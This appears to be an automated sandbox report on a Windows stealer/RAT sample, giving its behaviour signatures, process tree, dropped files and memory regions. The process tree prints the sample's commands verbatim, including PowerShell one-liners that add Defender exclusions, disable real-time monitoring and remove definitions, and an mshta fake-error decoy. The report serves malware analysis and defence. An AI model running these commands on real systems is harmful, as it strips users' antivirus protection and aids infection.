Analysis
- max time kernel
149s - max time network
151s - platform
windows10-2004_x64 - resource
win10v2004-20260513-en - resource tags
- submitted
20/08/2026, 17:14
General
- Target 2026-08-20_bc31ac0c7cca48ea0202cac1044b1363_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe
- Size 5.9MB
- Sample260820-vsctcagj4s
- SHA256 a4932d288c80e37cc07ca313ebe0e5a1af3e902810ca501597834319b436ba91
Malware Config
Signatures
- Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs
Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.
- Disables one or more Microsoft Defender components 1 TTPs 1 IoCs
Uses the Powershell Set-MpPreference cmdlet to disable one or more Microsoft Defender components.
- Loads dropped DLL 17 IoCs
- Looks up external IP address via web service 1 TTPs 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
- Discovers running processes 1 TTPs 1 IoCs
Running process information can be used to identify security tools or plan follow-on actions.
- UPX packed file 48 IoCs
Detects executables packed with UPX/modified UPX open source packer.
- Executes a command shell one-liner 1 TTPs 5 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
- Suspicious behavior: EnumeratesProcesses 4 IoCs
- Suspicious use of AdjustPrivilegeToken 45 IoCs
- Suspicious use of WriteProcessMemory 11 IoCs
Processes
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C:\Users\Admin\AppData\Local\Temp\2026-08-20_bc31ac0c7cca48ea0202cac1044b1363_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe"C:\Users\Admin\AppData\Local\Temp\2026-08-20_bc31ac0c7cca48ea0202cac1044b1363_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe"1⤵
- Suspicious use of WriteProcessMemory
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C:\Users\Admin\AppData\Local\Temp\2026-08-20_bc31ac0c7cca48ea0202cac1044b1363_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe"C:\Users\Admin\AppData\Local\Temp\2026-08-20_bc31ac0c7cca48ea0202cac1044b1363_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe"2⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\2026-08-20_bc31ac0c7cca48ea0202cac1044b1363_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe'"3⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\2026-08-20_bc31ac0c7cca48ea0202cac1044b1363_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe'4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"3⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend4⤵
- Command and Scripting Interpreter: PowerShell
- Disables one or more Microsoft Defender components
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "mshta "javascript:var sh=new ActiveXObject('WScript.Shell'); sh.Popup('The code execution cannot proceed because MSVCP140_CODE_GEN.dll was not found.', 0, 'MSVCP140_CODE_GEN.dll ', 0+16);close()""3⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\mshta.exemshta "javascript:var sh=new ActiveXObject('WScript.Shell'); sh.Popup('The code execution cannot proceed because MSVCP140_CODE_GEN.dll was not found.', 0, 'MSVCP140_CODE_GEN.dll ', 0+16);close()"4⤵
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "tasklist /FO LIST"3⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\tasklist.exetasklist /FO LIST4⤵
- Discovers running processes
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"3⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\Wbem\WMIC.exewmic csproduct get uuid4⤵
- Suspicious use of AdjustPrivilegeToken
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Network
MITRE ATT&CK Enterprise v16
Replay Monitor
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Downloads
powershell.exe.log
StartupProfileData-NonInteractive
VCRUNTIME140.dll
_bz2.pyd
_ctypes.pyd
_decimal.pyd
_hashlib.pyd
_lzma.pyd
_queue.pyd
_socket.pyd
_sqlite3.pyd
_ssl.pyd
base_library.zip
blank.aes
blank.aes
libcrypto-1_1.dll
libffi-7.dll
libssl-1_1.dll
python310.dll
rar.exe
rarreg.key
select.pyd
sqlite3.dll
unicodedata.pyd
__PSScriptPolicyTest_fkpgvqgr.mwu.ps1
memory/1376-64-0x00007FFB7C3D0000-0x00007FFB7C3DD000-memory.dmp
memory/1376-121-0x00007FFB7BBF0000-0x00007FFB7BCA8000-memory.dmp
memory/1376-60-0x00007FFB6E880000-0x00007FFB6E9FA000-memory.dmp
memory/1376-52-0x00007FFB7BCE0000-0x00007FFB7BD0C000-memory.dmp
memory/1376-70-0x00007FFB6E500000-0x00007FFB6E879000-memory.dmp
memory/1376-73-0x00007FFB7BCB0000-0x00007FFB7BCDE000-memory.dmp
memory/1376-72-0x00007FFB7B5A0000-0x00007FFB7BA06000-memory.dmp
memory/1376-71-0x000001B0F3250000-0x000001B0F35C9000-memory.dmp
memory/1376-69-0x00007FFB7BBF0000-0x00007FFB7BCA8000-memory.dmp
memory/1376-63-0x00007FFB7C170000-0x00007FFB7C189000-memory.dmp
memory/1376-74-0x00007FFB7C080000-0x00007FFB7C0A4000-memory.dmp
memory/1376-76-0x00007FFB7BBD0000-0x00007FFB7BBE5000-memory.dmp
memory/1376-78-0x00007FFB7BBC0000-0x00007FFB7BBCD000-memory.dmp
memory/1376-80-0x00007FFB6E3E0000-0x00007FFB6E4F8000-memory.dmp
memory/1376-50-0x00007FFB7FB30000-0x00007FFB7FB48000-memory.dmp
memory/1376-25-0x00007FFB7B5A0000-0x00007FFB7BA06000-memory.dmp
memory/1376-122-0x00007FFB6E500000-0x00007FFB6E879000-memory.dmp
memory/1376-59-0x00007FFB7E070000-0x00007FFB7E08F000-memory.dmp
memory/1376-120-0x00007FFB7BCB0000-0x00007FFB7BCDE000-memory.dmp
memory/1376-119-0x00007FFB7C170000-0x00007FFB7C189000-memory.dmp
memory/1376-31-0x00007FFB7C080000-0x00007FFB7C0A4000-memory.dmp
memory/1376-32-0x00007FFB84720000-0x00007FFB8472F000-memory.dmp
memory/1376-118-0x00007FFB7E070000-0x00007FFB7E08F000-memory.dmp
memory/1376-117-0x00007FFB6E880000-0x00007FFB6E9FA000-memory.dmp
memory/1376-116-0x00007FFB7BCE0000-0x00007FFB7BD0C000-memory.dmp
memory/1376-115-0x00007FFB7FB30000-0x00007FFB7FB48000-memory.dmp
memory/1376-114-0x00007FFB7C080000-0x00007FFB7C0A4000-memory.dmp
memory/1376-113-0x00007FFB84720000-0x00007FFB8472F000-memory.dmp
memory/1376-112-0x00007FFB7C3D0000-0x00007FFB7C3DD000-memory.dmp
memory/1376-111-0x00007FFB6E3E0000-0x00007FFB6E4F8000-memory.dmp
memory/1376-110-0x00007FFB7BBC0000-0x00007FFB7BBCD000-memory.dmp
memory/1376-109-0x00007FFB7BBD0000-0x00007FFB7BBE5000-memory.dmp
memory/1376-97-0x00007FFB7B5A0000-0x00007FFB7BA06000-memory.dmp
memory/1824-89-0x000001A45C660000-0x000001A45C682000-memory.dmp